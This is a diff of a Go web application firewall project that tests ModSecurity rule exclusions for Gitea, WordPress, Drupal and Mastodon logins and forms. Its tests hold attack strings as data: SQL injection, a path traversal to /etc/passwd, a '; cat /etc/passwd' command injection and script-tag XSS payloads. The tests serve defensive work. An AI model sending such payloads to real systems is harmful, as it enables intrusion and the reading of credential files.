|
// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a
|
||||||
|
// shell command and a script in an event handler, each sent as the whole
|
||||||
|
// password in the field name of r's body, pass while bodies are read.
|
||||||
|
func wantPasswordAttacksPass(t *testing.T, r request, name string) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
for _, attack := range []string{
|
||||||
|
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
||||||
|
"<img src=x onerror=x()>",
|
||||||
|
} {
|
||||||
|
body := passwordBody(t, r, name, attack)
|
||||||
|
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold {
|
||||||
|
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
|
||||||
|
attack, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// wantPasswordAttacksRefused checks that a script tag and a javascript: link,
|
||||||
|
// each sent as the whole password in the field name of r's body, are refused
|
||||||
|
// while bodies are read.
|
||||||
|
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
||||||
|
body := passwordBody(t, r, name, attack)
|
||||||
|
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
|
||||||
|
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
|
||||||
|
attack, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||||
|
// requests in the file name in testdata is refused, at the defaults and
|
||||||
|
// while bodies are read. A request with neither a body nor a Content-Type
|
||||||
|
// header is checked only at the defaults: with neither, the set that reads
|
||||||
|
// bodies has nothing more to check. Each request runs as its own parallel
|
||||||
|
// subtest.
|
||||||
|
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
for _, recorded := range recordedRequests(t, name) {
|
for _, recorded := range recordedRequests(t, name) {
|
||||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||||
@@ -798,13 +930,10 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
|||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
// The recorded requests pass on giteaHost with gitea's fixes alone. The
|
|
||||||
// attacks are refused at the defaults, where every app's fixes apply.
|
|
||||||
giteaOnly := servingApps(t, map[string][]string{giteaHost: {gitea}})
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
for _, r := range giteaRequests(t) {
|
for _, r := range giteaRequests(t) {
|
||||||
if got := inspect(t, giteaOnly, withHost(r, giteaHost)); got.Score >= threshold {
|
if got := inspect(t, crs, r); got.Score >= threshold {
|
||||||
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -966,22 +1095,12 @@ func wordpressAttackTargets(attack string) []string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// wantWordPressRequestsPass checks that the recorded ordinary WordPress
|
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||||
// requests pass on otherHost, where they were recorded, while SWW_APPS lists
|
t.Parallel()
|
||||||
// only wordpress for it. They pass at the defaults, and those with a body
|
|
||||||
// pass while bodies up to 64 KiB are read too. Every app's fixes only switch
|
|
||||||
// checks off, so the requests pass with SWW_APPS unset too.
|
|
||||||
func wantWordPressRequestsPass(t *testing.T) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
apps := map[string][]string{otherHost: {wordpress}}
|
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||||
defaults := servingApps(t, apps)
|
|
||||||
bodies := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
|
||||||
Apps: apps,
|
|
||||||
})
|
|
||||||
|
|
||||||
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
|
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
|
||||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||||
@@ -1002,16 +1121,6 @@ func wantWordPressRequestsPass(t *testing.T) {
|
|||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
wantWordPressRequestsPass(t)
|
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
sqlInjection,
|
sqlInjection,
|
||||||
@@ -1498,6 +1607,16 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
|
|||||||
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestWordPressPasswordsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
signIn := request{http.MethodPost, wpLogin, []string{formData}}
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, signIn, "pwd")
|
||||||
|
wantPasswordAttacksPass(t, signIn, "pwd")
|
||||||
|
wantPasswordAttacksRefused(t, signIn, "pwd")
|
||||||
|
}
|
||||||
|
|
||||||
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -1555,6 +1674,9 @@ const injection = "1' OR '1'='1"
|
|||||||
// scriptTag is a script injection, not escaped.
|
// scriptTag is a script injection, not escaped.
|
||||||
const scriptTag = "<script>alert(1)</script>"
|
const scriptTag = "<script>alert(1)</script>"
|
||||||
|
|
||||||
|
// pathTraversal is a path traversal, not escaped.
|
||||||
|
const pathTraversal = "../../etc/passwd"
|
||||||
|
|
||||||
// readingBodies returns the Core Rule Set as sww runs it by
|
// readingBodies returns the Core Rule Set as sww runs it by
|
||||||
// default, but reading bodies up to bodyLimit.
|
// default, but reading bodies up to bodyLimit.
|
||||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
|
# The tenth change: on Drupal's paths, some fields skip the rules that refused
|
||||||
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
||||||
# search, a name, a file name or an address. Each exclusion runs with the
|
# search, a name, a file name or an address. Each exclusion runs with the
|
||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
@@ -25,13 +25,6 @@
|
|||||||
# 932230: ls -la
|
# 932230: ls -la
|
||||||
# 932235: python3
|
# 932235: python3
|
||||||
|
|
||||||
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
|
|
||||||
# skipped. Inspect sets tx.app_drupal when it does.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_drupal itself.
|
|
||||||
SecRule &TX:app_drupal "@eq 0" \
|
|
||||||
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
|
|
||||||
|
|
||||||
# Every admin page's filters and autocompletes, and the page to return to:
|
# Every admin page's filters and autocompletes, and the page to return to:
|
||||||
# title: /admin/content?title=python3
|
# title: /admin/content?title=python3
|
||||||
# name: /admin/content/media?name=python3
|
# name: /admin/content/media?name=python3
|
||||||
@@ -191,6 +184,46 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
||||||
|
|
||||||
|
# The password, pass, skips each rule that random passwords set off.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
||||||
|
"id:900819,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
|
||||||
|
|
||||||
# A person's name and email address, when signing up, when editing an
|
# A person's name and email address, when signing up, when editing an
|
||||||
# account and when commenting without an account. A name of python3 refused
|
# account and when commenting without an account. A name of python3 refused
|
||||||
# signing up, and python3@example.com refused saving an account. An address
|
# signing up, and python3@example.com refused saving an account. An address
|
||||||
@@ -244,5 +277,3 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
|||||||
SecRule &ARGS_GET:json.mail "@eq 0" \
|
SecRule &ARGS_GET:json.mail "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
||||||
|
|
||||||
SecMarker END_DRUPAL
|
|
||||||
@@ -5,8 +5,6 @@ import (
|
|||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
"slices"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
@@ -36,21 +34,7 @@ const drupalName = "name="
|
|||||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
|
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
||||||
}
|
|
||||||
|
|
||||||
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {"drupal"},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only Drupal's fixes let through.
|
|
||||||
search := get("/search?keys=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||||
@@ -125,7 +109,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
{reply, drupalName + attack},
|
{reply, drupalName + attack},
|
||||||
{drupalSignIn, "pass=" + attack},
|
|
||||||
{drupalSignIn, drupalName + attack},
|
{drupalSignIn, drupalName + attack},
|
||||||
{"/fr/user/login", drupalName + attack},
|
{"/fr/user/login", drupalName + attack},
|
||||||
{"/user/register", drupalName + attack},
|
{"/user/register", drupalName + attack},
|
||||||
@@ -188,6 +171,23 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestDrupalPasswordPasses(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, r := range []request{
|
||||||
|
{http.MethodPost, drupalSignIn, []string{formData}},
|
||||||
|
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
|
||||||
|
} {
|
||||||
|
t.Run(r.target, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, "pass")
|
||||||
|
wantPasswordAttacksPass(t, r, "pass")
|
||||||
|
wantPasswordAttacksRefused(t, r, "pass")
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -1,55 +1,8 @@
|
|||||||
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
|
# The eighth change: on gitea's paths, some fields skip the rules that refused
|
||||||
# They are the fields where gitea sends a search, a file name or a branch name.
|
# ordinary gitea requests there. They are the fields where gitea sends a search,
|
||||||
# Each exclusion runs with the request, before the rules it switches off, those
|
# a file name or a branch name. Each exclusion runs with the request, before the
|
||||||
# of phase 1 included, so this file is loaded before the Core Rule Set's rules.
|
# rules it switches off, those of phase 1 included, so this file is loaded before
|
||||||
# Each comment names a request the rule refused.
|
# the Core Rule Set's rules. Each comment names a request the rule refused.
|
||||||
|
|
||||||
# Unless SWW_APPS lists gitea for the request's hostname, every rule below is
|
|
||||||
# skipped. Inspect sets tx.app_gitea when it does.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_gitea itself.
|
|
||||||
SecRule &TX:app_gitea "@eq 0" \
|
|
||||||
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
|
|
||||||
|
|
||||||
# The query parameters in which gitea sends names within a repository or its
|
|
||||||
# own records, or a page of its own site, are not checked against the lists of
|
|
||||||
# system files, shell paths and command names, on any path:
|
|
||||||
# 930120: .gitignore
|
|
||||||
# 932160: bin/docker-entrypoint
|
|
||||||
# 932260: docker-build
|
|
||||||
# ARGS holds the fields of a form data or multipart body Coraza reads as well
|
|
||||||
# as the query parameters, so a field of these names is left out too.
|
|
||||||
SecAction "id:900591,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:path,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:files,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:path,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:files,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:path,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:files,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
|
|
||||||
|
|
||||||
# gitea's searches of code, of issues and pull requests, and of commits send the
|
# gitea's searches of code, of issues and pull requests, and of commits send the
|
||||||
# text searched for in q, which skips these rules there:
|
# text searched for in q, which skips these rules there:
|
||||||
@@ -210,8 +163,8 @@ SecRule REQUEST_FILENAME \
|
|||||||
# 942140: information_schema.sql
|
# 942140: information_schema.sql
|
||||||
# 944110: java/lang/Runtime.java
|
# 944110: java/lang/Runtime.java
|
||||||
# 944130: java.lang.String.md
|
# 944130: java.lang.String.md
|
||||||
# Each request skips the rules that refused it. Rule 900591 already has path and
|
# Each request skips the rules that refused it. The fourth change already has
|
||||||
# redirect_to skip 930120, 932160 and 932260 on every path.
|
# path and redirect_to skip 930120, 932160 and 932260 on every path.
|
||||||
|
|
||||||
# A file's commit graph, in file.
|
# A file's commit graph, in file.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
||||||
@@ -336,5 +289,3 @@ SecRule REQUEST_FILENAME \
|
|||||||
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
||||||
"id:900640,phase:1,pass,nolog,\
|
"id:900640,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||||
|
|
||||||
SecMarker END_GITEA
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
|
# The twelfth change: on Mastodon's paths, some fields skip the rules that
|
||||||
# refused ordinary Mastodon requests there. They are the fields where Mastodon
|
# refused ordinary Mastodon requests there. They are the fields where Mastodon
|
||||||
# sends a search, a name, a title, a file name, an address or free text. Each
|
# sends a search, a name, a title, a file name, an address or free text. Each
|
||||||
# exclusion runs with the request, before the rules it switches off, so this
|
# exclusion runs with the request, before the rules it switches off, so this
|
||||||
@@ -17,13 +17,6 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
# Unless SWW_APPS lists mastodon for the request's hostname, every rule below is
|
|
||||||
# skipped. Inspect sets tx.app_mastodon when it does.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_mastodon itself.
|
|
||||||
SecRule &TX:app_mastodon "@eq 0" \
|
|
||||||
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
|
|
||||||
|
|
||||||
# The API's searches and names, in the query:
|
# The API's searches and names, in the query:
|
||||||
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
|
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
|
||||||
# acct: /api/v1/accounts/lookup?acct=python3
|
# acct: /api/v1/accounts/lookup?acct=python3
|
||||||
@@ -183,6 +176,85 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
||||||
|
|
||||||
|
# The passwords named above skip each rule that random passwords set off.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete)|auth)(?:/|$)" \
|
||||||
|
"id:900965,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
